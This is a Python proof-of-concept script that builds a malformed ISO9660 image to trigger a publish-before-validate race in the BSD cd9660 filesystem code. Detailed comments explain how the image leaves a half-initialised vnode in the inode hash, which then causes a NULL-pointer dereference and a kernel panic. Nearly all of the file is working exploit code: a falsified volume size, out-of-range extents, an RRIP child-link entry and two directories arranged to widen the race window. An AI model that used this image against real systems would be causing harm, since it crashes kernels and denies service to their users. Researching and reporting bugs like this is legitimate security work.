#!/usr/bin/env python3
# DF-3208 -- crafted ISO9660 image generator for the cd9660 ihash
# publish-before-validate race.
#
# Bug being exercised (sys/vfs/isofs/cd9660/cd9660_vfsops.c:763 + cd9660_node.c):
# cd9660_vget_internal() inserts the freshly allocated iso_node into the
# global ihash (cd9660_ihashins) BEFORE validating the on-media record.
# When validation fails (bread EIO at vfsops.c:789-797), the error path
# vx_put()s the vnode WITHOUT removing the node from the hash.  A second
# thread that arrives at cd9660_ihashget() for the same (dev, ino) during
# that window blocks in vget() on the VX lock, wakes up after the failed
# creator released it, and cd9660_ihashget() returns the ORPHANED,
# half-initialized VNON vnode as a SUCCESS -- i_mnt == NULL, i_devvp == NULL,
# v_type == VNON.  The first VOP on it (stat -> cd9660_getattr ->
# ip->i_mnt->im_fmask, cd9660_vnops.c:158) NULL-derefs -> kernel panic.
#
# Image layout (2048-byte sectors, 40-sector device):
#   16   PVD  (root extent = 32, size = 2048; volume_space_size = 0x200000,
#             far larger than the device so the lbn check at vfsops.c:775
#             PASSES for the bogus extent)
#   17   Volume Descriptor Set Terminator
#   32   root dir: "." (SP+ER+PX -> RRIP ftype), "..", "X", "Y"
#   33   dir X: ".", "..", "PWN" (extent 0x1000 -- beyond the 40-sector
#        device, but lbn 0x1000 < volume_space_size -> bread() -> EIO)
#   34   dir Y: ".", "..", "PWN" (SAME bogus extent 0x1000 -> SAME ino)
#
# The two directories defeat the per-parent vnode-lock serialization of
# lookups (vop_compat_nresolve vget()s the parent first); the remaining
# serializer is the global mp_token, which is an LWKT token and is dropped
# whenever a thread blocks or is preempted (lwkt_switch) -- e.g. inside
# bread()/getblk() in the race window.

import struct

BSZ = 2048
ROOT_EXT = 32
X_EXT = 33
Y_EXT = 34
NSEC = 40
BOGUS_EXT = 0x1000     # 4096 sectors = 8MB into an 80KB device
VSS = 0x200000         # claimed volume space (4GB) so lbn check passes

def b733(v):
    return struct.pack('<I', v & 0xffffffff) + struct.pack('>I', v & 0xffffffff)

def b723(v):
    return struct.pack('<H', v & 0xffff) + struct.pack('>H', v & 0xffff)

def susp(sig, body):
    assert len(sig) == 2
    ln = 4 + len(body)
    assert ln <= 255
    return sig.encode() + bytes([ln, 1]) + body

def sp(skip=0):
    return susp('SP', bytes([0xBE, 0xEF, skip]))

def er():
    i = b'IEEE_P1282'
    return susp('ER', bytes([len(i), 0, 0, 1]) + i)

def px(mode=0o040555, links=1, uid=0, gid=0):
    return susp('PX', b733(mode) + b733(links) + b733(uid) + b733(gid))

def cl(lba):
    # RRIP "CL" (child link): relocation LBA.  rrip_pclink sets
    # *inump = lba << im_bshift -> dp->i_ino -> vget_internal(ino, relocated=1)
    # -> devblkatoff(vp,0) breads the child's "." at lba*2048.
    return susp('CL', b733(lba))

def px_file(mode=0o100444, links=1, uid=0, gid=0):
    return susp('PX', b733(mode) + b733(links) + b733(uid) + b733(gid))

def dirrec(name, extent, size, flags, susp_area=b''):
    assert 1 <= len(name) <= 8
    # record length must cover 33 fixed bytes + name + SUSP area, and be
    # even-padded (readdir rejects reclen < 34 + name_len at vnops.c:524).
    ln = 33 + len(name) + len(susp_area)
    if ln & 1:
        ln += 1
    base = (bytes([ln, 0]) + b733(extent) + b733(size) +
            bytes(7) + bytes([flags, 0, 0]) + b723(1) +
            bytes([len(name)]) + name)
    rec = base + susp_area
    return rec + b'\x00' * (ln - len(rec))

def build():
    img = bytearray(b'\x00' * (BSZ * NSEC))

    # ---- PVD at sector 16 ----
    pvd = bytearray(BSZ)
    pvd[0] = 1
    pvd[1:6] = b'CD001'
    pvd[6] = 1
    pvd[8:40] = b'DF3208 CRAFTED IMAGE'.ljust(32)
    pvd[40:72] = b'DF3208'.ljust(32)
    pvd[80:88] = b733(VSS)            # volume space size (huge, lies)
    pvd[120:124] = b723(1)
    pvd[124:128] = b723(1)
    pvd[128:132] = b723(BSZ)
    pvd[132:140] = b733(10)
    root = (bytes([34, 0]) + b733(ROOT_EXT) + b733(BSZ) + bytes(7) +
            bytes([2, 0, 0]) + b723(1) + bytes([1, 0]))
    assert len(root) == 34
    pvd[156:190] = root
    pvd[881] = 1
    img[16*BSZ:17*BSZ] = pvd

    # ---- terminator at 17 ----
    term = bytearray(BSZ)
    term[0] = 255
    term[1:6] = b'CD001'
    term[6] = 1
    img[17*BSZ:18*BSZ] = term

    # ---- root directory at 32 ----
    susp_dot = sp(0) + er() + px()
    rootdir = dirrec(b'\x00', ROOT_EXT, BSZ, 2, susp_dot)
    rootdir += dirrec(b'\x01', ROOT_EXT, BSZ, 2, susp_dot)
    rootdir += dirrec(b'X', X_EXT, BSZ, 2, px())
    rootdir += dirrec(b'Y', Y_EXT, BSZ, 2, px())
    img[ROOT_EXT*BSZ:(ROOT_EXT+1)*BSZ] = rootdir.ljust(BSZ, b'\x00')

    # ---- dir X at 33 and dir Y at 34, each with the SAME bogus "PWN" ----
    for ext in (X_EXT, Y_EXT):
        d = dirrec(b'\x00', ext, BSZ, 2, px())
        d += dirrec(b'\x01', ROOT_EXT, BSZ, 2, px())
        # "PWN" is a DIRECTORY entry (flags=2 -> lookup's `ino` =
        # isodirino = extent 35 << 11) carrying an RRIP "CL" entry with a
        # beyond-device LBA -> rrip_pclink sets dp->i_ino = 0x1000 << 11
        # != ino -> vget_internal(dp->i_ino, relocated=1, ep) ->
        # devblkatoff(vp,0) -> bmap -> bread(devvp, 0x800000) -> EIO ->
        # vx_put() at vfsops.c:838 with the node STILL IN THE IHASH.
        d += dirrec(b'PWN', 35, BSZ, 2, px() + cl(BOGUS_EXT))
        img[ext*BSZ:(ext+1)*BSZ] = d.ljust(BSZ, b'\x00')

    return bytes(img)

if __name__ == '__main__':
    import sys
    out = sys.argv[1] if len(sys.argv) > 1 else 'df3208.iso'
    data = build()
    with open(out, 'wb') as f:
        f.write(data)
    print("wrote %s (%d bytes)" % (out, len(data)))
